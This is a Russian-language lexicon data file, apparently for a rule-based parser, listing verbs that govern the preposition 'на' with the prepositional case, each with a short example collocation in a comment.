rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
